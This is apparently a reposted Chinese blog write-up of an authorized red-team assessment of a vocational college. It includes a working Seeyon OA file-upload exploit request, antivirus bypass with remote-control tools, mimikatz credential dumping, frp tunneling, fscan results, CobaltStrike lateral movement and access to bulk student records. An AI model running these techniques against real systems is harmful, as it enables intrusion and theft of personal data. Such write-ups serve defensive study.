对某大学进行授权红队评估
2024-1-16 09:58:22 Author: 黑白之道(查看原文) 阅读量:28 收藏

从今年的五月份正式接触渗透实战到现在我依旧觉得攻防的本质仍是信息收集并且自身的知识面决定了攻击面。若该篇文章存在错误恳请各位师傅们斧正;若您对该渗透流程有更好的建议或者不同的思路想法也烦请您不吝赐教。

1

成果

2

渗透路径

某职业技术学校协同管理平台存在任意文件上传

此时在给出的靶标中发现ip地址:xxx.xxx.xxx.xxx;我们针对该ip进行信息收集;通过网络空间安全测绘平台(鹰图平台、360网络空间测绘、FOFA)进行信息收集;此时发现其7777端口开放服务且搭建了一个致远OA系统

OA系统在攻防演练中都是兵家必争之地;此时我们可以直接搜索该OA的历史漏洞;手测之后发现其存在致远OA-ajax.do任意文件上传漏洞

漏洞发现+利用

参考该文章:https://www.cnblogs.com/p1ayeeee/p/14298608.html

加入以下后缀:/seeyon/thirdpartyController.do.css/..;/ajax.do

发现漏洞存在;直接使用exp进行攻击:

POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1 Host: xxx.xxx.xxx.xxx:7777 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=7B6D8C106BD599DB0EF2F2E3B794A4FA; loginPageURL=; login\_locale=zh\_CN; Content-Type: application/x-www-form-urlencoded Content-Length: 8819  managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTK%C2%93%C2%A2H%10%3E%C3%AF%C3%BE%0A%C3%82%C2%8Bv%C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%C3%92%C3%8C%C3%89%10%60%C3%8A%C2%B2%C3%AC%3D%C2%BCv%7F%C3%90%25I%17%C3%A5k%7Dg%C2%97%C3%9C%C3%AB%C3%BE%C3%BD%2FheA%C3%A4\_%05%00%00

exp攻击成功!

直接连接webshell

且为Administrator权限

获取数据库权限

利用该文章获取数据库权限:https://www.cmdhack.com/archives/212.html

数据库敏感信息

此时继续浏览该数据库,发现存在大量的个人敏感信息

协同管理平台内网突破

此时拿到该web权限之后我们先不着急进行内网隧道的搭建;先对其运行的进程进行查看看是否存在杀软

此时发现存在360的杀软进程;那么此时我们就不能贸然的直接上传frp进行内网穿透;可以看看是否开启3389端口

此时发现目标机器开启了3389端口;接下来使用猕猴桃直接抓取密码看看能否rdp成功,同时也为后续的内网横向做准备

尝试远程连接;但是经过尝试发现该rdp无法成功(可能需要内网环境才行)

利用新版向日葵ini文件进行远控,绕过360杀软

此时因为存在360杀软,对我们后续的渗透十分的不利;需要找个办法进行绕过,因为时间紧急来不及做免杀了;此时我们先对该主机进行信息收集;查看进程后发现存在向日葵远控软件,此时我们直接利用新版向日葵ini文件进行登入;然后关闭360,并对我们后续的渗透工具进行加白

远程控制

接下来变尝试远程控制;直接在目标机器上传gotohttp且运行;此时会在gotohttp目录下生成一个gotohttp.ini文件;里面记录了机器码和密码可以直接进远控(新版向日葵ini文件)


远程控制后先关360并可以新建个目录来存放我们稍后要上传的frp;创建目录之后再给该目录添加信任项

完成远控之后;我们可以先传一个fscan64进行内网资产的扫描;趁着fscan64在扫描,我们先搭建个内网隧道(frp+Proxifier,目标机器出网前提下;当目标机器不出网且对特征流量存在识别时可以使用suo5正向代理突破穿透内网)

内网成果(C段)

fscan+弱口令+nday

fscan扫描c段资产结果

192.168.12.5:80 open  
192.168.12.1:80 open
192.168.12.6:888 open
192.168.12.6:21 open
192.168.12.6:80 open
192.168.12.6:445 open
192.168.12.1:443 open
192.168.12.16:139 open
192.168.12.5:443 open
192.168.12.6:139 open
192.168.12.16:135 open
192.168.12.6:135 open
192.168.12.16:445 open
192.168.12.7:3306 open
192.168.12.5:8000 open
192.168.12.6:8089 open
192.168.12.7:445 open
192.168.12.6:3306 open
192.168.12.5:8300 open
192.168.12.6:8888 open
192.168.12.6:9010 open
192.168.12.5:9080 open
192.168.12.6:9091 open
192.168.12.6:9090 open
192.168.12.6:9092 open
192.168.12.6:9093 open
192.168.12.6:9094 open
192.168.12.6:9095 open
192.168.12.6:9096 open
192.168.12.6:9097 open
192.168.12.6:9098 open
192.168.12.6:9099 open
\[+\] 192.168.12.16 MS17-010 (Windows Server 2008 R2 Standard 7600)
\[\*\] NetInfo:
\[\*\]192.168.12.6
  \[->\]WIN-J84MQH3KHI7
  \[->\]192.168.12.6
\[\*\] WebTitle: http://192.168.12.6:888   code:403 len:199   title:403 Forbidden
\[\*\] NetInfo:
\[\*\]192.168.12.16
  \[->\]WIN-PHV3HDGMNN2
  \[->\]192.168.12.16
\[\*\] WebTitle: http://192.168.12.5       code:301 len:56     title:None 跳转url: https://192.168.12.5/
\[\*\] WebTitle: http://192.168.12.6:9099 code:200 len:11992 title:Test Page for Apache Installation
\[+\] 192.168.12.6 MS17-010 (Windows Server 2008 R2 Standard 7600)
\[\*\] WebTitle: http://192.168.12.6:9010 code:200 len:11992 title:Test Page for Apache Installation
\[\*\] WebTitle: http://192.168.12.6       code:200 len:11992 title:Test Page for Apache Installation
\[\*\] WebTitle: https://192.168.12.5     code:200 len:258   title:None
\[\*\] NetBios: 192.168.12.6   WORKGROUP\\WIN-J84MQH3KHI7           Windows Server 2008 R2 Standard 7600
\[\*\] WebTitle: http://192.168.12.1       code:301 len:0     title:None 跳转url: https://192.168.12.1/simple/view/login.html
\[\*\] WebTitle: https://192.168.12.5:9080 code:202 len:0     title:None
\[\*\] NetBios: 192.168.12.16   WORKGROUP\\WIN-PHV3HDGMNN2           Windows Server 2008 R2 Standard 7600
\[\*\] WebTitle: http://192.168.12.6:9096 code:301 len:3     title:None 跳转url: http://192.168.12.6:9096/index.html
\[\*\] WebTitle: https://192.168.12.1     code:301 len:0     title:None 跳转url: https://192.168.12.1/simple/view/login.html
\[\*\] WebTitle: http://192.168.12.6:8888 code:302 len:219   title:Redirecting... 跳转url: http://192.168.12.6:8888/login
\[\*\] WebTitle: http://192.168.12.6:9091 code:200 len:20296 title:欧宝官方体育APP下载|手&#26426
\[\*\] WebTitle: https://192.168.12.5/     code:200 len:258   title:None
\[\*\] WebTitle: http://192.168.12.6:9090 code:302 len:0     title:None 跳转url: http://192.168.12.6:9090/index/login/index.html
\[\*\] WebTitle: http://192.168.12.6:9093 code:302 len:3     title:None 跳转url: http://192.168.12.6:9093/admin/index/index
\[\*\] WebTitle: http://192.168.12.6:9095 code:302 len:0     title:None 跳转url: http://192.168.12.6:9095/index/login/login.html
\[\*\] WebTitle: http://192.168.12.6:9094 code:200 len:24778 title:xxx学院
\[\*\] WebTitle: http://192.168.12.6:9097 code:302 len:0     title:None 跳转url: http://192.168.12.6:9097/index/login/login.html
\[\*\] WebTitle: https://192.168.12.1/simple/view/login.html code:200 len:51345 title:None
\[\*\] WebTitle: http://192.168.12.6:9096/index.html code:200 len:10170 title:官网|
\[\*\] WebTitle: http://192.168.12.6:9092 code:302 len:3     title:None 跳转url: http://192.168.12.6:9092/publics/login
\[\*\] WebTitle: http://192.168.12.6:8888/login code:200 len:15504 title:宝塔Windows面板
\[\*\] WebTitle: http://192.168.12.6:9095/index/login/login.html code:200 len:3503   title:None
\[\*\] WebTitle: https://192.168.12.1/simple/view/login.html code:200 len:51345 title:None
\[\*\] WebTitle: http://192.168.12.6:9090/index/login/index.html code:200 len:5656   title:登录 - 人事档案管理系统
\[\*\] WebTitle: http://192.168.12.6:9093/admin/login/index code:200 len:2832   title:登录页
\[+\] InfoScan:http://192.168.12.6:9094 \[ThinkPHP\]
\[\*\] WebTitle: http://192.168.12.6:9098 code:200 len:21272 title:首页
\[\*\] WebTitle: http://192.168.12.6:9092/publics/login code:200 len:7198   title:None
\[\*\] WebTitle: http://192.168.12.6:9097/index/login/login.html code:200 len:3503   title:None
\[\*\] WebTitle: http://192.168.12.6:8089 code:200 len:1446   title:微信密钥管理系统
\[+\] http://192.168.12.6:9096 poc-yaml-dedecms-cve-2018-6910
\[+\] http://192.168.12.6:9092 poc-yaml-thinkphp5023-method-rce poc1
\[+\] http://192.168.12.6:9098 poc-yaml-thinkphp5-controller-rce
\[+\] http://192.168.12.6:9098 poc-yaml-thinkphp5023-method-rce poc1
\[+\] http://192.168.12.6:9090 poc-yaml-thinkphp5023-method-rce poc1
\[+\] http://192.168.12.6:9090 poc-yaml-thinkphp5-controller-rce

此时我们可以先对c段资产做一下信息收集(指纹、是否存在nday或1day)

https://192.168.12.5/ui/#/login  -->  vmware esxi主机  
http://192.168.12.6:9099/ --> apache
http://192.168.12.6:9010 --> apache
http://192.168.12.6 --> apache
https://192.168.12.1/simple/view/login.html -->LANSwitch
http://192.168.12.6:9094/index.php/Home/Index/index.html -->学院自主招生报名流程
http://192.168.12.6:9096/index.html --> 某职业技术学校官网
http://192.168.12.6:8888/login --> 宝塔
http://192.168.12.6:9090/teacher/index/index.html --> 人事档案管理 admin/123456
http://192.168.12.6:9093/admin/login/index --> 某职业技术学校官网实习管理系统
http://192.168.12.6:9095/index/index/index.html --> 移动实时报修管理系统 admin/123456
http://192.168.12.6:9097/index/login/login.html--> 移动实时报修管理系统 admin/123456
http://192.168.12.6:9092/index/index --> 课堂教学行为管理 admin/123456
http://192.168.12.6:8089/login/index --> 微信密钥管理系统
http://192.168.12.6:9098/ --> 某职校智慧校园大数据
...

利用弱口令+n/1day也是拿下部分c段资产的web权限
敏感信息泄露太多这里放出一个人事管理系统进行参考;这里抱歉只能厚码

内网成果(b段)

后续的b段资产的渗透过程也是如上;这里就不在过多赘诉

内网横向移动

CobaltStrike

此时我们通过对上述内网c段的扫描发现有些主机有开启135、139、445端口,且此时获取权限的机器有开启远程IPC;此时我们可以试试能否横向移动

192.168.12.5:80 open  
192.168.12.1:80 open
192.168.12.6:888 open
192.168.12.6:21 open
192.168.12.6:80 open
192.168.12.6:445 open
192.168.12.1:443 open
192.168.12.16:139 open
192.168.12.5:443 open
192.168.12.6:139 open
192.168.12.16:135 open
192.168.12.6:135 open
192.168.12.16:445 open
192.168.12.7:3306 open
192.168.12.5:8000 open
192.168.12.6:8089 open
192.168.12.7:445 open
192.168.12.6:3306 open
192.168.12.5:8300 open
192.168.12.6:8888 open
192.168.12.6:9010 open
192.168.12.5:9080 open
192.168.12.6:9091 open
192.168.12.6:9090 open
192.168.12.6:9092 open
192.168.12.6:9093 open
192.168.12.6:9094 open
192.168.12.6:9095 open
192.168.12.6:9096 open
192.168.12.6:9097 open
192.168.12.6:9098 open
192.168.12.6:9099 open

此时我们先在获取权限的机器上面传一个由CobaltStrike生成的木马,运行后机器上线;先抓取密码;然后进行端口的扫描

此时发现开启目标端口的机器已经被扫描出来分别是192.168.12.6和192.168.12.7;此时右击目标机器选择横向移动密码选择我们刚抓取的密码;配好监听后即可成功横向移动(如若密码不对还得继续将目标机器对应的web权限拿下后抓取密码)

最终以192.168.12.16作为跳板机横向移动至192.168.12.6和192.168.12.7并获取system权限(三台机子的Administrator密码均相同)

协同管理平台内网主机存在敏感信息泄露(10W+)

gotohttp远控

此时继续使用老套路,先看杀软和是否开启rdp;发现没有杀软后直接上传gotohttp进行远控

192.168.12.6机子存在敏感信息泄露
学生信息

2021年数据库备份(学生、教职工、合作企业等)

192.168.12.7机子存在敏感信息泄露
2020年数据库备份(学生、教职工、合作企业等)

实验室、学生、用户信息泄露

3

总结和反思

这也算是自己第三次打内网了;相比与之前的手足无措,这次也略微从容了点;在没有域环境的内网下也是略容易上手一点

不足之处

  1. 一直在192.168这个段中一直转圈圈无法实现虚拟机逃逸

  2. 没有想到是否能通10或者172.16段也导致这个攻防分数可能没有全部拿满。

  3. 在前期的内网凭证收集中没有仔细做出密码本进行密码喷洒,导致后续在横向移动时出现收集凭证过少,横移失败的情况。

  4. 权限维持没有做好且对方应急速度过快,导致第二天起来机子就下线了。

文章作者:奇安信攻防社区(hey)

文章来源:https://forum.butian.net/share/2673

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650585790&idx=3&sn=d0ac6495acfe3733cc91ee400737e463&chksm=82345c15cea6562144d850076c47c873f8ebc924a8fe91782a68c10440457be042dda7945f9a&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh